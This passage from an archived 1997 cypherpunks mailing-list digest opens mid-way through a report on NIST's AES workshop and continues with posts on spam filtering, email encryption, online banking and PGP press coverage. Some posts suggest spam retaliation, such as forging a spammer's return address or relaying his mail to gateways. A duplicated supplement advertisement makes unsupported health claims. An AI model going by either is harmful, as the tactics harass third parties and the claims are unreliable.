efficiency on a little endian processor, and will publish the specs of the
test system.  They also encourage two submissions: reference (possibly in
Java) and optimized (in C).  Regarding memory requirements, NIST will
measure memory requirements for C implementation on a single reference
platform (presumably a Pentium Pro), although submitters are welcome to
provide results for other platforms.  Regarding hardware and software
suitability, NIST believes that the primary applications for the AES are
for large processors (although they would "value" flexibility to run on
8-bit processors), and do not believe that they can require hardware
gate-count values from submission.   Regarding simplicity, NIST intends to
evaluate algorithms on their simplicity of design (is there a rationale, or
is the algorithm just a hodge-podge?) and implementation.  Regarding
flexibility, NIST received many conflicting comments on the value of
flexibility versus the value of fixing parameters.  NIST intends to
evaluate algorithms on their ability to implement on differing platforms
for various applications.  They will consider defining a standard interface
for testing.  Regarding variant algorithms, they worry about the difficulty
of analysis and the loss of compatibility; they assume the number of rounds
would be fixed for any given key size.

	7.  NIST agrees that AES will be used for 20-30 years, that
security is more important than efficiency or flexibility, and that
efficiency is of equal importance to flexibility.  They have no control
over export control laws, and will comply with any export control laws.
The design should be for a strong algorithm, regardless of the legal
climate.  NIST reiterated that the AES should be at least as secure as
triple-DES.

Jim Foti provided proposed responses to comments on the "Proposed Draft
Submission Requirements."  NIST will specify block and key sizes, and will
encourage submitters to include design rationale.  They will ask for a
reference implementation as well as an optimized implementation (suitable
for a IBM-compatible Pentium PC running Windows 95 with 16MB of RAM). They
will ask for efficiency estimates for various platforms, including
bytes/sec for encryption, decryption, and key setup, as well as gate counts
and memory requirements for hardware implementations.  They would like a
graph with a plot of speed versus memory.  They will require a suite of
test vectors to ensure all implementations of the algorithm are correct,
and a statement regarding possible patent issues (legal issues may be
appropriate).  They will require a list of any known weak or equivalent
keys, complementation properties, etc., a mathematical rationale for any
items that could hide a trap door, and a reference list of any publications
that discuss cryptanalysis of the algorithm.  NIST will not accept
proprietary submissions (with the possible exception of the optimized
implementation).  The submitter must agree to waive copyright on submitted
materials (again, with the possible exception of the optimized
implementation).  And the submitter must provide a statement of expected
strength of the algorithm, with supporting rationale.  Of course
submissions from outside the U.S. would be welcome.

Ed Roback discussed the selection process.  We've had the draft criteria
and submission requirements (1/2/97), the public comment process (closed on
4/2/97), and the workshop on criteria and submission requirements (today).
NIST estimates that it will take three months to prepare a public call for
submissions, which they will publish in the Federal Register.  The call for
submissions would be closed after four to six months.  Then, they would
take about two months to review submissions for completeness and
correctness (not security), and then they would publish everything and
invite the public to review and analyze the algorithms.  There would be
some workshop early on in the process where the submitters could campaign
for their particular algorithm.  After about 6 months, though would be an
interim workshop where people could comment on the algorithms.  (NIST
doesn't plan on funding cryptanalysis, or offering prizes our bounties for
successful cryptanalysis.)  NIST would think about this for a while (three
months), and would then publish a list of narrowed candidates (exactly how
narrowed is unknown).  After another six to nine months of public comments,
there would be a final workshop.  Then, NIST would review everything (about
two months) and publish a draft FIPS.  Another three months for comments on
the draft FIPS, a month to revise the draft, and then the Secretary of
Commerce approves the FIPS.  Times are approximate (of course), but NIST
expects the process to take "well over two years."  It was pretty much
universally thought that this schedule is wildly optimistic.

NIST doesn't know if this algorithm will be a replacement for DES, or an
alternative to DES with higher security.  With DES and triple-DES so
entrenched, it will be impossible to migrate to AES quickly.  (Remember
that the NIST standard only applies to U.S. Government systems, although
they are often used in broader contexts.)

Discussion followed.  All the pre-lunch arguments were about block and key
size.  Block sizes of 64 bits and 80 bits were quickly eliminated, as was a
64-bit keysize.  People wanted variable keysizes of some subset of 128,
192, 256, or even 512 bits, and block sizes of either 128 bits or 128 and
256 bits.  There was no discussion of stream ciphers, or using block
ciphers as hash functions.

NIST has a hard time figuring out how to measure hardware efficiency.
They'd like to have definitive metrics (like there will be for software)
but are unwilling to force submitters to provide VHDL code, or gate counts,
or whatever.

NIST talked about what to do about "tweaking" algorithms after submission.
What if a break is found, but a simple fix prevents the attack?  What if
someone submits an algorithm and someone else proposes a tweak?  These
questions were not answered.

They also debated whether or not the optimized implementation of the
algorithm could be proprietary.  Pros are that it encourages clever
implementations, and implementations from people other than the inventor.
Cons are that it withholds information from the public, and that it doesn't
allow independent verification of proprietary implementations.  One halfway
proposal was to make optimized implementations public, but allow owners to
retain copyright.  The audience seemed to prefer that optimized
implementations be kept secret by NIST.

There were further discussions on the legal issues.  When do the inventors
give up their rights to the algorithm?  What rights, exactly, do they give
up?  What about patents that an inventor might unknowingly infringe upon?
What is an inventor submits an algorithm and then, a year and a half later,
tries to pull it out of the process?  It was almost universally agreed that
these are hard questions.

And in a final show of hands, ten people admitted that they were "thinking
of submitting an algorithm."

Editorialization time....

Before I showed up, the major question in my mind was whether this was a
serious attempt to develop a secure encryption algorithm to replace DES, or
just another red herring by the government to keep us busy while they go on
eavesdropping.  Now I believe that the NIST representatives at the meeting
are sincere, but I still don't know how they fit in a larger context

This is serious business.  Any algorithm proposed in 1997 won't be approved
until at least 2000.  It will be a standard for 20-30 years, in legacy
systems for at least another ten, securing data that might need to be
secured for another 20.  This means we are trying to estimate security in
the year 2060.  I can't estimate security ten years from now, let alone 60.
The only wise option is to be very conservative.

I'm not sure that NIST knows what it wants.  Technically, a FIPS is only
for government use, but NIST would like everyone to use it.  Communities
like banking are likely to adopt a FIPS right out of the box; other
organizations will view a U.S. Government standard with suspicion.  Still,
NIST needs to decide if they want this AES to be all things to all people,
or a specific encryption algorithm to satisfy a specific set of
requirements.  Everyone in the audience had different ideas about this.

The audience was a mix of government agents, corporate representatives,
academics, and random yahoos.  Of course, the random yahoos talked for more
than their share.  My worry is that NIST will get many more submissions
than they bargained for; I think that every random yahoo is going to submit
his pet algorithm.  NIST hopes the community will be able to quickly
separate the random stupid algorithms from the serious submissions, but I
am less sure that politics will allow NIST to.  Assuming a 128-bit block
requirement doesn't preclude everything already done, I  urge companies
with patented or patent-pending algorithms to give up royalties and submit
their algorithms.  I assume CAST (royalty-free from Northern Telcom), SAFER
(royalty free from Cylink), Blowfish (unpatented), and Square (unpatented)
will be submitted; I would also like to see RC5 from RSADSI, IDEA from
Ascom-Systec, and Khufu from Xerox.  Failing that, I would like to see new
submissions out of the various cryptographic research institutions.  The
yahoos are going to submit regardless; we need at least a small pile of
quality algorithms.

But is there enough time for people to invent strong 128-bit block ciphers?
Probably not.  One alternative is to take existing 64-bit block ciphers,
and then use a 4-round Luby-Rackoff construction to create a 128-bit block
variant.  Another is to give people more time.  Both were talked about.  I
would like them to approve triple-DES as an interim standard, and then take
all the time they need for a secure 128-bit block cipher.

So now we wait for the call for submissions.

/s/  Bruce Schneier

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Tue, 15 Apr 1997 15:49:03 -0700 (PDT)
To: Chris DiBona <chrisd@loc201.tandem.com>
Subject: Re: What's good for the goose...
In-Reply-To: <01BC49A3.FD146380@colobus.loc201.tandem.com>
Message-ID: <199704152246.SAA25622@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> "Chris" == Chris DiBona <chrisd@loc201.tandem.com> writes:

Chris> Make your return address "wallace@cyberpromo.com" , that's
Chris> right... Good old spamford wallaces email address needs a
Chris> little traffic. You'll want to change your SIG so that people
Chris> don't freak out on you.

Something that I've been toying with is setting up an alias that all
of the fools who spam somehow get subscribed to.  Procmail then
filters incoming email for spam.  Rejects are redirected to the alias,
rather than simply /dev/null.  Those that slip through procmail get
"bounced" to the alias.  And, of course, there's always the option of
instead piping the spam to a program that sends the mail to the alias
from one of its own members.

Chris> IN FACT, and although I WOULD never RECCOMMEND THIS

Indeed.

-- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Death to small keys.  Crack DES NOW!   http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 15 Apr 1997 15:59:34 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Microsoft Site Gestapo
In-Reply-To: <199704110530.WAA01009@fat.doobie.com>
Message-ID: <Pine.SUN.3.91.970415190057.16255C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 10 Apr 1997, Huge Cajones Remailer wrote:

> At 08:53 PM 4/10/97 -0700, you wrote:
> >Welcome to Site Builder Network - Level 1.
> >
> >We went to your site(s) and found the Microsoft Internet Explorer logo
> >and link, so your membership has been upgraded to Level 1.  You now have
> >access to the Members Only - Level 1 Lounge as well as the Members Only
> >Download Area.  Please take some time to visit
> >http://www.microsoft.com/sbnmember/lounges/lounges.asp to see what's in
> >store for you.  Your ID and password are listed below for your
> >convenience.
> >
> >Do you think you qualify for Level 2?  Would you like to?  The reason
> >your Level 2 registration failed could be one of the following reasons:
> >
> >You are not using an ActiveX control.
> >======================================
> >To find out more about ActiveX, go to our home page at
> 
> 
> Fuck you.

So just add the shutdown ActiveX control. :)

"ActiveX ActiveX, format hard drive? Just say yes!" :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 15 Apr 1997 16:36:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Online Banking: "MoneyClip"
Message-ID: <v030209b3af79be3ed92e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: oldbear@pop.tiac.net
Date: Tue, 15 Apr 1997 15:59:34 -0400
To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
From: The Old Bear <oldbear@arctos.com>
Subject: Online Banking: "MoneyClip"
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: The Old Bear <oldbear@arctos.com>

MONEYCLIP DOES ONLINE BANKING

A group of companies has developed a device that turns
almost any PC into an automatic teller machine.  The
MoneyClip, which is a diskette that incorporates a
smart card and access software, enables users "to
perform virtually any ATM transaction from the comfort
of their homes," says the CEO of the Home Financial
Network, one of the four developers.

In order to use the MoneyClip, a PC has to already be
loaded with online banking software and the owner has
to have an account at a bank that offers online
banking.

source: Tampa Tribune
        April 14, 1997

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frantz@netcom.com (William S. Frantz)
Date: Tue, 15 Apr 1997 19:45:14 -0700 (PDT)
To: enystrom@aurora.nscee.edu
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970414204503.6444A-100000@aurora.nscee.edu>
Message-ID: <199704160244.TAA10775@netcom6.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


> It's absolutely true that nothing on a centralized Unix machine is truly 
> secure.  However, is abandoning all pretenses of crypto and security in 
> favor of holding out for a utopian ideal really the best solution?  Does 
> using encryption for email on multiuser machines actually hurt the cause 
> of the security community in the long run?
> 
> (I'm not asking rhetorical questions here -- I'm truly looking for some 
> thoughts on this.)

Since security is not binary (i.e. talking of secure and insecure is
nonsense.  You must talk of more or less secure.), you have to look at the
threats.  If you are sending email from a multi-user Unix machine, encrypting
it removes some threats (e.g. wiretaping) without adding any new threats.
(There are still the continuing parade of UNIX holes based on the C string
model.)

I would say that if users don't think they are safe, just think they are
a bit safer, then encrypting on a multi-user machine is a good thing because
it is more secure than not encrypting.  It is still less secure than a 
single-user system with Tempest shielding.

-----------------------------------------------------------------
Bill Frantz                   Periwinkle  --  Computer Consulting
(408)356-8506                 16345 Englewood Ave.
frantz@netcom.com             Los Gatos, CA 95032, USA




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cm@subcellar.mwci.net
Date: Tue, 15 Apr 1997 19:10:18 -0700 (PDT)
To: cosmic@flock.mwci.net
Subject: URGENT
Message-ID: <199704160151.UAA24491@subcellar.mwci.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello;

"My research indicates the following material is of 
interest to you.  If you prefer not to be on this 
mailing list, please let us know, and you will be 
promptly removed."

I am on a mission, no I'm on a CRUSADE to educate people
that there are no "GET RICH QUICK" programs, only honest or
dishonest opportunities.  There are also, no "Miracle 
Products" or "Cure All Products".  Remember, what you see
isn't always what you get.  Anything that has the potential 
to be a money-earner will take some work, and sometimes
alot of work.

I (Christopher Miller) started this Company with the belief
that it shouldn't be necessary for you to spend a fortune to
be healthy and feel good. Also, I believe that there are far
too many companies that offer Business Opportunities only
to end up draining the Distributors bank account instead of
filling it. There are also many deceptive trade practices
taking place everyday where Con-Artists take advantage of
unsuspecting people.  Our products are very competitively 
priced and Distributorships are very inexpensive to operate.

Cosmic Enterprises, a world leader in manufacturing quality 
nutritional products.   

With its headquarters located in Iowa, La., Cosmic 
Enterprises has Independant Representatives in the U.S.,
Indonesia and the United Kingdom.  President Christopher
Miller who is the founder, started his Nutritional career 
working from home in his spare time, doing research on his 
own value packed Nutritional Energy Formula.

This energy product is the result many months of research,
shopping and testing.  I was searching for a product that
would satisfy the need for sustained energy levels, increased
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manufacturing company that would want to do things my way.
After many months of searching and negotiations the result 
of my quest was born.  I called the formula Renew because
it does so many things.  It literally enhances every one of
the body processes and functions.

If all this sounds too good to be true, it's because we have
been programmed by large corporations all these years to 
beleive that the things we need to healthy are very very 
expensive.  In fact, just the opposite is true.

We at Cosmic Enterprises have gone to great lenghts to 
provide our customers with he most value-packed product that
has ever been placed on the market.  The pharmacalogical 
make up of Renew has been very well researched to ensure the
synergistic properties of the ingredients were not sacrificed.  
The majority of products on the market are made up of a
single ingredient and the rest of it is composed of fillers.
Just to give you an idea of how much filler material we've
consumed over the years, listen to this example.  Renew is 
packed in a "00" {double ought} capsule which can hold
from 850 milligrams up to well over 1000 milligrams of 
material depending upon the molecular weight of the
individual ingredients, most single ingredient products 
that are available in capsule form use a "0" {single ought}
capsule which can hold up to 550 milligrams of material or 
possibly much more depending on the weight.  

Now let's say that this product has 25 milligrams of active 
ingredient, then why is the pill so big?  It doesn't take a
mathematician to figure out that most of your money just 
went toward fillers instead of what you thought you were 
getting.  Also, many of these products come in tablet form, 
which means that they are capable of holding much more 
because the pill press compresses the ingredients.  So even 
though the tablet or caplet may be large, that doesn't mean 
there's alot of active ingredients.  There are, however, 
many multible ingredient products out there, some of them 
are very good I might add.  The truth is though, many 
products only use one or two main ingredients and trivial 
amounts (sometimes reffered to as window dressings) for 
the remainder of the ingredients.  

The purpose here is not to hold any particular company in 
judgement, but to demonstrate the difference between Renew 
and many of the products being bought by millions of 
unsuspecting people every day.  Renew contains less than 
100 milligrams (approximately) of fillers and each 
ingredient in Renew is, according to the most recent 
research studies, present in effective dosage levels . . . 
Not just window dressings.  That means that in that "00" 
{double ought} capsule that is capable of holding up to 
1000+ milligrams of material contains less than 100 
milligrams of filler.  There is over 1100 milligrams of
active ingredients in Renew.  Furthermore, if there are 
other products that can make this statement, I would like 
to see that people can still get a good deal.  The kind of 
deal where you really get what you paid for. 

##########################################################

For More Information Contact:

Chris Miller 
(318) 588 - 4473
cosmic@info.mwci.net

##########################################################






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cm@subcellar.mwci.net
Date: Tue, 15 Apr 1997 19:06:13 -0700 (PDT)
To: cosmic@flock.mwci.net
Subject: URGENT
Message-ID: <199704160151.UAA24477@subcellar.mwci.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello;

"My research indicates the following material is of 
interest to you.  If you prefer not to be on this 
mailing list, please let us know, and you will be 
promptly removed."

I am on a mission, no I'm on a CRUSADE to educate people
that there are no "GET RICH QUICK" programs, only honest or
dishonest opportunities.  There are also, no "Miracle 
Products" or "Cure All Products".  Remember, what you see
isn't always what you get.  Anything that has the potential 
to be a money-earner will take some work, and sometimes
alot of work.

I (Christopher Miller) started this Company with the belief
that it shouldn't be necessary for you to spend a fortune to
be healthy and feel good. Also, I believe that there are far
too many companies that offer Business Opportunities only
to end up draining the Distributors bank account instead of
filling it. There are also many deceptive trade practices
taking place everyday where Con-Artists take advantage of
unsuspecting people.  Our products are very competitively 
priced and Distributorships are very inexpensive to operate.

Cosmic Enterprises, a world leader in manufacturing quality 
nutritional products.   

With its headquarters located in Iowa, La., Cosmic 
Enterprises has Independant Representatives in the U.S.,
Indonesia and the United Kingdom.  President Christopher
Miller who is the founder, started his Nutritional career 
working from home in his spare time, doing research on his 
own value packed Nutritional Energy Formula.

This energy product is the result many months of research,
shopping and testing.  I was searching for a product that
would satisfy the need for sustained energy levels, increased
mental alertness, balanced blood pressure and blood sugar 
levels along with antioxidant prtection and improved hormone
activity.  Not finding one, I started on a quest to find a 
manufacturing company that would want to do things my way.
After many months of searching and negotiations the result 
of my quest was born.  I called the formula Renew because
it does so many things.  It literally enhances every one of
the body processes and functions.

If all this sounds too good to be true, it's because we have
been programmed by large corporations all these years to 
beleive that the things we need to healthy are very very 
expensive.  In fact, just the opposite is true.

We at Cosmic Enterprises have gone to great lenghts to 
provide our customers with he most value-packed product that
has ever been placed on the market.  The pharmacalogical 
make up of Renew has been very well researched to ensure the
synergistic properties of the ingredients were not sacrificed.  
The majority of products on the market are made up of a
single ingredient and the rest of it is composed of fillers.
Just to give you an idea of how much filler material we've
consumed over the years, listen to this example.  Renew is 
packed in a "00" {double ought} capsule which can hold
from 850 milligrams up to well over 1000 milligrams of 
material depending upon the molecular weight of the
individual ingredients, most single ingredient products 
that are available in capsule form use a "0" {single ought}
capsule which can hold up to 550 milligrams of material or 
possibly much more depending on the weight.  

Now let's say that this product has 25 milligrams of active 
ingredient, then why is the pill so big?  It doesn't take a
mathematician to figure out that most of your money just 
went toward fillers instead of what you thought you were 
getting.  Also, many of these products come in tablet form, 
which means that they are capable of holding much more 
because the pill press compresses the ingredients.  So even 
though the tablet or caplet may be large, that doesn't mean 
there's alot of active ingredients.  There are, however, 
many multible ingredient products out there, some of them 
are very good I might add.  The truth is though, many 
products only use one or two main ingredients and trivial 
amounts (sometimes reffered to as window dressings) for 
the remainder of the ingredients.  

The purpose here is not to hold any particular company in 
judgement, but to demonstrate the difference between Renew 
and many of the products being bought by millions of 
unsuspecting people every day.  Renew contains less than 
100 milligrams (approximately) of fillers and each 
ingredient in Renew is, according to the most recent 
research studies, present in effective dosage levels . . . 
Not just window dressings.  That means that in that "00" 
{double ought} capsule that is capable of holding up to 
1000+ milligrams of material contains less than 100 
milligrams of filler.  There is over 1100 milligrams of
active ingredients in Renew.  Furthermore, if there are 
other products that can make this statement, I would like 
to see that people can still get a good deal.  The kind of 
deal where you really get what you paid for. 

##########################################################

For More Information Contact:

Chris Miller 
(318) 588 - 4473
cosmic@info.mwci.net

##########################################################






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Tue, 15 Apr 1997 18:19:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Online Banking: "MoneyClip"
In-Reply-To: <v030209b3af79be3ed92e@[139.167.130.246]>
Message-ID: <199704160119.VAA18624@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga <rah@shipwright.com> forwarded:

> MONEYCLIP DOES ONLINE BANKING
>
> A group of companies has developed a device that turns
> almost any PC into an automatic teller machine.  The
> MoneyClip, which is a diskette that incorporates a
> smart card and access software, enables users "to
> perform virtually any ATM transaction from the comfort

Actually, it should be pointed out that the Money Clip
is actually a Smarty Smart Card Reader (from Fischer
International) , not a "diskette".

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian C. Lane" <nexus@eskimo.com>
Date: Wed, 16 Apr 1997 07:07:46 -0700 (PDT)
To: =?iso-latin-de?Q?Heinz-J=FCrgen_Keller?= <hjk@ddorf.rhein-ruhr.de>
Subject: Re: How to IGNORE massive To: and Cc: spams
In-Reply-To: <Pine.LNX.3.95.970415135757.23182G-100000@alien.lummerland.de>
Message-ID: <Pine.LNX.3.96.970415212153.15991A-100000@fozzy.islet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 15 Apr 1997, [iso-latin-de] Heinz-Jürgen Keller wrote:

> This is a real problem to me. As I recieve mail via cslip using
> popclient there seems to be no way to get it sorted. Though I'm not a
> programmer at all I could instruct procmail to do what I want. It works
> fine when I'm sending mail from one account to the other locally. You can

  I'm using fetchpop under Linux to grab my email. It has an option to
feed it to procmail for delivery to your local mailbox. It works great for
me. You should be able to find it at the usual Linux mirror sites.

- ---------------------------------------------------------------------------
    Nexus Computing     | Hardware and Software Design
 www.eskimo.com/~nexus  | Motorola, Microchip and Linux solutions
- ---------------------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv
Comment: Processed by mkpgp, a Pine/PGP interface.

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+gs5sS6tBEb/uALVDXURVbaaT+ngIbZW7aJzbaBuqAu7eLMYjKwx6cAXuc0EL0LN
QGeV9HVD62VGaKQAPaDMFG89GV3DyETac5xbTHCrNRrhj2ACei4tpG52vFyMv9V4
oC87jbJOiv4=
=ykLg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 15 Apr 1997 19:29:12 -0700 (PDT)
To: hjk@ddorf.rhein-ruhr.de (=?iso-latin-de?Q?Heinz-J=FCrgen_Keller?=)
Subject: Re: How to IGNORE massive To: and Cc: spams
In-Reply-To: <Pine.LNX.3.95.970415135757.23182G-100000@alien.lummerland.de>
Message-ID: <199704160224.VAA00425@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


try using fetchmail linstead of popclient.

fetchmail passes all emails on to the local (localhost) sendmail.

igor

=?iso-latin-de?Q?Heinz-J=FCrgen_Keller?= wrote:
> 
> On Sun, 13 Apr 1997, Igor Chudov @ home wrote:
> 
> > Dr.Dimitri Vulis KOTM wrote:
> > > 
> > > ichudov@algebra.com (Igor Chudov @ home) writes:
> > > >
> > > > [this is only of interest to UNIX(tm) users. Windows users, please ignore]
> > > 
> > > I suspect that a typical Windows user with a POP account usually has a unix
> > > account and a home directory (although its shell may be /etc/false or some
> > > such); he may be able to ftp to it and create a .forward file pointing
> > > to procmail, who will look at the incoming mail before passing on to his
> > > PPP. I don't really know shit about this, so don't flame me if this
> > > doesn't work. :-)
> > 
> > If the user shell is /bin/false, most likely the .forward file will not
> > be able to invoke any programs.
> > 
> > 	- Igor.
> > 
> > 
> > 
> This is a real problem to me. As I recieve mail via cslip using
> popclient there seems to be no way to get it sorted. Though I'm not a
> programmer at all I could instruct procmail to do what I want. It works
> fine when I'm sending mail from one account to the other locally. You can
> find information on procmail on the net (and this list). But nobody seems
> to know about popclient, which according to the man-pages may be
> influenced by an awk-script to do sorting.
> Does anybody know about an example script on that? An URL?
> Not that I know about awk. But you can't do anything w/o trying.
> 
> -Tom
> 
> ################################################################################
>    Heinz-Juergen Keller                               hjk@ddorf.rhein-ruhr.de 
>    Derendorfer Str.36                                 voice:49-211-464314     
>    40479 Duesseldorf                                                           
>    Germany
> ################################################################################
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 15 Apr 1997 19:45:04 -0700 (PDT)
To: enystrom@aurora.nscee.edu (Eric Nystrom)
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970415005525.8148B-100000@aurora.nscee.edu>
Message-ID: <199704160242.VAA00733@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Eric Nystrom wrote:
> 
> On Tue, 15 Apr 1997 ichudov@algebra.com wrote:
> 
> > I would not call it truly "utopian". There is not much that's needed to
> > achieve reasonable personal security, protecting from attacks from the
> > Internet  -- an individual (pesonal) computer system that offers no
> > internet services. Could be bought for $300 or less.
> 
> That makes a lot of sense for data security in the general sense, but I'm 
> uncertain how useful that would be in terms of helping the user have more 
> secure email.  Is there an offline mail reader for standard Unix systems 
> that would run on a platform like you describe?  
> 

Yes, there is one.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 15 Apr 1997 20:06:42 -0700 (PDT)
To: frantz@netcom.com (William S. Frantz)
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <199704160244.TAA10775@netcom6.netcom.com>
Message-ID: <199704160255.VAA00973@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


William S. Frantz wrote:
> > It's absolutely true that nothing on a centralized Unix machine is truly 
> > secure.  However, is abandoning all pretenses of crypto and security in 
> > favor of holding out for a utopian ideal really the best solution?  Does 
> > using encryption for email on multiuser machines actually hurt the cause 
> > of the security community in the long run?
> > 
> > (I'm not asking rhetorical questions here -- I'm truly looking for some 
> > thoughts on this.)
> 
> Since security is not binary (i.e. talking of secure and insecure is
> nonsense.  You must talk of more or less secure.), you have to look at the
> threats.  If you are sending email from a multi-user Unix machine, encrypting
> it removes some threats (e.g. wiretaping) without adding any new threats.
> (There are still the continuing parade of UNIX holes based on the C string
> model.)
> 
> I would say that if users don't think they are safe, just think they are
> a bit safer, then encrypting on a multi-user machine is a good thing because
> it is more secure than not encrypting.  It is still less secure than a 
> single-user system with Tempest shielding.

right, the real problem is that users start thinking that they are
really safe, and start doing dumb things.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 15 Apr 1997 22:36:22 -0700 (PDT)
To: C Matthew Curtin <cmcurtin@research.megasoft.com>
Subject: Re: What's good for the goose...
In-Reply-To: <01BC49A3.FD146380@colobus.loc201.tandem.com>
Message-ID: <3.0.1.32.19970415222927.03196100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:46 PM 4/15/97 -0400, C Matthew Curtin wrote:
>>>>>> "Chris" == Chris DiBona <chrisd@loc201.tandem.com> writes:
>
>Chris> Make your return address "wallace@cyberpromo.com" , that's
>Chris> right... Good old spamford wallaces email address needs a
>Chris> little traffic. You'll want to change your SIG so that people
>Chris> don't freak out on you.
>
>Something that I've been toying with is setting up an alias that all
>of the fools who spam somehow get subscribed to.  Procmail then
>filters incoming email for spam.  Rejects are redirected to the alias,
>rather than simply /dev/null.  Those that slip through procmail get
>"bounced" to the alias.  And, of course, there's always the option of
>instead piping the spam to a program that sends the mail to the alias
>from one of its own members.

If you REALLY wanted to be evil, you could just find a handy mail to news
gateway and hand off their message to *.test.  Of course most spammers do
not use a valid return address, so such retaliation is not that useful...


---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Saxman <jesaxman@eos.ncsu.edu>
Date: Tue, 15 Apr 1997 19:46:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: FORBES on Phil Zimmermann and PGP
Message-ID: <3.0.1.32.19970415224551.00694880@pop-in.ncsu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

A decent non-technical article...
>By making a martyr of programmer Philip Zimmermann,
>the feds gave a giant boost to his encryption software. 
>
>                      Banned in Washington
>                      By Scott Woolley 
>http://www.forbes.com/forbes/97/0421/5908162a.htm

Also, these appear to be prevous articles in FORBES
>Can you get rich off a 232-year-old mathematical
>equation? Some entrepreneurs specializing in computer
>encryption are going to try-if they can stop squabbling
>long enough to divide the spoils. 
>
>                      Patented secrecy 
>                      By Simson L. Garfinkel
>http://www.forbes.com/extra/special1.htm

and

>Are you worried that a Nosey Parker, a competitor a
>G-man could pry into your computerized files? Check out
>this encryption software. 
>
>                     How to keep a secret 
>                      By Susan Adams 
>http://www.forbes.com/extra/5707108a.htm


-----BEGIN PGP SIGNATURE-----
Version: 4.5

